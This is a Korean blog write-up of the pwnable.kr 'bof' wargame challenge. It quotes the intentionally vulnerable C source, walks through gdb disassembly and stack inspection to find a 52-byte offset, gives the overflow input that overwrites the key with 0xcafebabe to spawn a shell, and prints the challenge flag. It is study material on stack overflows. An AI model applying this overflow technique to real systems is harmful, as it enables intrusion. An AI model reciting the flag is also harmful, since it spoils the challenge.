System Hacking/인터루드 스터디

[pwnable.kr] bof

daaaay 2026. 3. 26. 19:15

이 문제 클릭 

 

문제 접속하기

 

 

터미널에서 접속하기 

 

문제에 써있던 비밀번호 치면 접속된다. 

 

 

ls해서 파일 목록 보기

 

 

readme파일부터 내용 확인하기 

cat readme

 

 

9000 포트에 접속해야 flag 파일을 읽을 수 있다. 

 

bof.c파일도 내용 확인하기

cat bof.c

 

분석

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
//int 인자 필요
        char overflowme[32];
        //문자열, 32바이트 
        
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        //얼만큼 입력받을지 설정 X
        //-> overflowme보다 더 큰 크기로도 입력 가능(스택 BOF 취약점) 
        
        if(key == 0xcafebabe){
        //key값이 0xcafebabe와 같으면 권한 상승, 쉘 획득 
                setregid(getegid(), getegid());
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){ //메인 함수!
        func(0xdeadbeef);
        //인자를 0xdeadbeef로 줌 
        //-> 원래라면 쉘 획득 불가
        return 0;
}

 

gdb 활용할 것이다 - 어떤 스택주소에 있는지 확인 가능 

접속하기 

gdb bof

 

disass main

main함수의 어셈블리가 출력된다

 

 

인자값(0xdeadbeef)을 스택에 넣고, fun()를 호출한다

 

disass func

 

아래처럼 출력된다. 

Dump of assembler code for function func:
   0x000011fd <+0>:     push   ebp
   0x000011fe <+1>:     mov    ebp,esp
   0x00001200 <+3>:     push   esi
   0x00001201 <+4>:     push   ebx
   0x00001202 <+5>:     sub    esp,0x30
   0x00001205 <+8>:     call   0x1100 <__x86.get_pc_thunk.bx>
   0x0000120a <+13>:    add    ebx,0x2df6
   0x00001210 <+19>:    mov    eax,gs:0x14
   0x00001216 <+25>:    mov    DWORD PTR [ebp-0xc],eax
   0x00001219 <+28>:    xor    eax,eax
   0x0000121b <+30>:    sub    esp,0xc
   0x0000121e <+33>:    lea    eax,[ebx-0x1ff8]
   0x00001224 <+39>:    push   eax
   0x00001225 <+40>:    call   0x1050 <printf@plt>
   0x0000122a <+45>:    add    esp,0x10
   0x0000122d <+48>:    sub    esp,0xc
   0x00001230 <+51>:    lea    eax,[ebp-0x2c]
   0x00001233 <+54>:    push   eax
   0x00001234 <+55>:    call   0x1060 <gets@plt>
   0x00001239 <+60>:    add    esp,0x10
   0x0000123c <+63>:    cmp    DWORD PTR [ebp+0x8],0xcafebabe
   0x00001243 <+70>:    jne    0x1272 <func+117>
   0x00001245 <+72>:    call   0x1080 <getegid@plt>
   0x0000124a <+77>:    mov    esi,eax
   0x0000124c <+79>:    call   0x1080 <getegid@plt>
   0x00001251 <+84>:    sub    esp,0x8
   0x00001254 <+87>:    push   esi
   0x00001255 <+88>:    push   eax
   0x00001256 <+89>:    call   0x10b0 <setregid@plt>
   0x0000125b <+94>:    add    esp,0x10
   0x0000125e <+97>:    sub    esp,0xc
   0x00001261 <+100>:   lea    eax,[ebx-0x1fe9]
   0x00001267 <+106>:   push   eax
   0x00001268 <+107>:   call   0x10a0 <system@plt>
   0x0000126d <+112>:   add    esp,0x10
   0x00001270 <+115>:   jmp    0x1284 <func+135>
   0x00001272 <+117>:   sub    esp,0xc
   0x00001275 <+120>:   lea    eax,[ebx-0x1fe1]
   0x0000127b <+126>:   push   eax
   0x0000127c <+127>:   call   0x1090 <puts@plt>
   0x00001281 <+132>:   add    esp,0x10
   0x00001284 <+135>:   nop
   0x00001285 <+136>:   mov    eax,DWORD PTR [ebp-0xc]
   0x00001288 <+139>:   sub    eax,DWORD PTR gs:0x14
   0x0000128f <+146>:   je     0x1296 <func+153>
   0x00001291 <+148>:   call   0x12e0 <__stack_chk_fail_local>
   0x00001296 <+153>:   lea    esp,[ebp-0x8]
   0x00001299 <+156>:   pop    ebx
   0x0000129a <+157>:   pop    esi
   0x0000129b <+158>:   pop    ebp
   0x0000129c <+159>:   ret
End of assembler dump.

 

소스코드에서 봤던 gets(overflowme); 부분이다

 

이게 인자이다. 

 

이 계산한 주소를 eax에 넣는 것이다. 

 

즉 인자값은 ebp-0x2c이다. 

 

 

방법2) 실제 값을 보며 공간 차이 구하기

overflowme값 입력받은 뒤에 브레이크 포인트 걸기

b *func+63

 

run 하기

 

OVERFLOWME에 아무거나 쳐보기

AAAA 넣었다

 

x/30x $esp

현재 esp부터 30개의 스택값을 16진수로 출력하는 명령어다. 

 

한 개 = 4byte

대문자 A = ASCII로 0x41 

 

인자의 주소 = 0xdeadbeef가 저장된 주소 = 0xffffd530

0x41414141 ~ 0xdeadbeef 사이의 공간

= 0xffffd530 - 0xffffd4fc

= 0x34

= 52byte

 

exploit

overflowme ~ 0xdeadbeef까지의 공간은 아무 값을 채워도 상관없음 (보통은 ‘A’로 채움)

0xdeadbeef~ 부터는 0xcafebabe를 넣어야함

→ (‘A’*52개 + 0xcafebabe) 를 입력하면 됨!

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0xcafebabe

 

 

나오기

 

파이썬 스크립트 : 

  • 짧을때는 아래처럼 바로 작성해도 됨
  • 길면?
    • 여기서 파일 만든 후 작성해도 되고
    • wsl이라 내 컴퓨터에 있는 스크립트도 가져올 수 있음 

 

저번에 설치한 pwntools를 사용.

  • from pwn import *
    • : pwntools 사용할 때 필수로 넣어야 함!
  • remote(’호스트’, 포트)
    • : 접속
  • sendline()
    • : 인자값을 접속한 곳에 보냄
  • b’’
    • : 바이트(bytes)로 형변환
    • *bytes: b’\x00\x00 …’로 인코딩 되는 타입. ≠ 문자열
    • *문자열과 같이 사용: bytes를 디코딩 or 문자열을 인코딩
  • p32()
    • : little endian으로 변형
    • 네트워크와 시스템은 사용하는 엔디안 표기법이 상반되기 때문.
  • interactive()
    • : 실시간 송수신할 수 있도록 해줌

 

파이썬 명령 실행하기 

 

ls하면 파일 목록 뜬다

flag 있다

 

flag 파일 내용 보기 

플래그 나왔다. 

 

Daddy_I_just_pwned_a_buff3r!

 

 

성공했다. 

'System Hacking > 인터루드 스터디' 카테고리의 다른 글

[picoCTF] buffer overflow 2  (0) 2026.04.02
[picoCTF] buffer overflow 1  (0) 2026.04.02
[picoCTF:] buffer overflow 0  (0) 2026.04.02
[pwnable.kr] fd  (0) 2026.03.26
[워게임] 드림핵 : Welcome  (0) 2026.03.19